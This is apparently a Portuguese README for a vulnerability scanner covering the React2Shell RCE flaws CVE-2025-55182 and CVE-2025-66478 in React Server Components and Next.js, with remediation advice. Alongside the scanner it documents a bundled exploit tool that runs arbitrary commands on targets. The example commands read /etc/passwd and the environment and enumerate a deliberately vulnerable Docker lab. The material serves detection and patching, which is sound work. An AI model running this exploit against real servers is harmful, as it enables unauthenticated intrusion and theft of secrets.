Scanner para CVE-2025-55182 (React) e CVE-2025-66478 (Next.js) - Rastreie e remedeie uma campanha de vulnerabilidade crítica de React Server Components (RSC) / protocolo Flight que afeta react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack e frameworks com suporte a RSC, como Next.js.
Vulnerabilidade EXTERNA para a classe de bugs React2Shell: duas vulnerabilidades de execução remota de código não autenticadas recém-divulgadas no protocolo "Flight" dos React Server Components (RSC)—CVE-2025-55182 (React) e CVE-2025-66478 (Next.js), ambas classificadas como CVSS 10.0. Esses problemas residem na forma como os endpoints RSC/Server Function decodificam payloads Flight controlados pelo atacante, transformando uma única requisição HTTP manipulada em potencial execução de código no servidor—mesmo em stacks modernas "padrão" de React/Next.js que usam App Router e builds de produção. Para muitas equipes, este é um momento de "corrigir agora, verificar exposição e depois auditar", e não algo para adiar para um sprint posterior de higiene de dependências. A pasta LAB contém exploits e vulnerabilidades de laboratório para React2Shell
Este projeto oferece uma abordagem dupla: (1) varredura de risco de composição de software / dependências (esta ferramenta), para localizar rapidamente bibliotecas e versões vulneráveis, e (2) um scanner web DAST (React2Shell Web Scanner) que testa ativamente endpoints RSC/Flight a partir do exterior, validando se caminhos exploráveis estão acessíveis em ambientes em execução. Juntas, elas ajudam você a responder tanto "onde estão os componentes vulneráveis?" quanto "onde eles podem realmente ser explorados em produção?" para que você possa priorizar correções, hardening e resposta a incidentes com confiança.
Para testes de endpoint ao vivo e validação de RCE, consulte o scanner web dedicado:
📁 web-scan_CVE-2025-66478/ - Documentação completa e guia
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| Feature | Descrição |
|---|---|
| 🔍 Detecção de RCE | Detecção segura baseada em aritmética (sem efeitos colaterais) |
| 🎯 Fingerprinting de Tecnologia | Detecção automática de aplicações Next.js/React |
| 📊 Exportação Multi-Formato | Relatórios JSON, CSV, HTML |
| 🔗 Correlação de IOCs | Correspondência com 31+ IPs maliciosos conhecidos |
| 🌐 Varredura em Escala | Faixas CIDR, enumeração de subdomínios |
| ☁️ Integração Phoenix | Envio de descobertas para o Phoenix Security |
| 💻 Ferramenta de Exploit | Executa comandos em alvos vulneráveis |
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell é uma primitiva de execução remota de código não autenticada contra o tratamento de payloads dos React Server Components (RSC) no protocolo Flight. Na prática, isso significa que um cliente malicioso pode enviar uma única requisição HTTP manipulada a um endpoint RSC/Server Function e, se uma versão vulnerável estiver em uso, potencialmente transformar um "aplicativo web" em um "shell de servidor".
Em um nível geral:
Como se trata de RCE não autenticada, configurações padrão de produção estão no escopo—mesmo que você nunca tenha escrito explicitamente uma "server function" e simplesmente adotado padrões modernos de React/Next.js. Mitigações no nível de hospedagem e WAFs genéricos não devem ser tratados como sua principal rede de segurança: eles podem reduzir a exposição, mas não compensarão de forma confiável bibliotecas vulneráveis. Trate isso como um incidente:
Uma vez que um atacante obtém RCE via React2Shell, os defensores devem assumir uma kill chain familiar:
.env, segredos de implantação, tokens de CI, credenciais de serviços e chaves de assinatura.Se o seu pipeline de DevSecOps historicamente tratou a camada web como "apenas um frontend", esta vulnerabilidade é uma demonstração concreta de que frameworks frontend podem carregar um profundo raio de impacto no lado do servidor quando RSC e semânticas de streaming estão envolvidas. O Universal Vulnerability Scanner existe para ajudar você a responder rapidamente "estamos executando os pacotes vulneráveis em algum lugar?" e a alimentar essa resposta em campanhas orientadas pelo Phoenix e, em breve, na validação web DAST complementar de endpoints RSC ao vivo.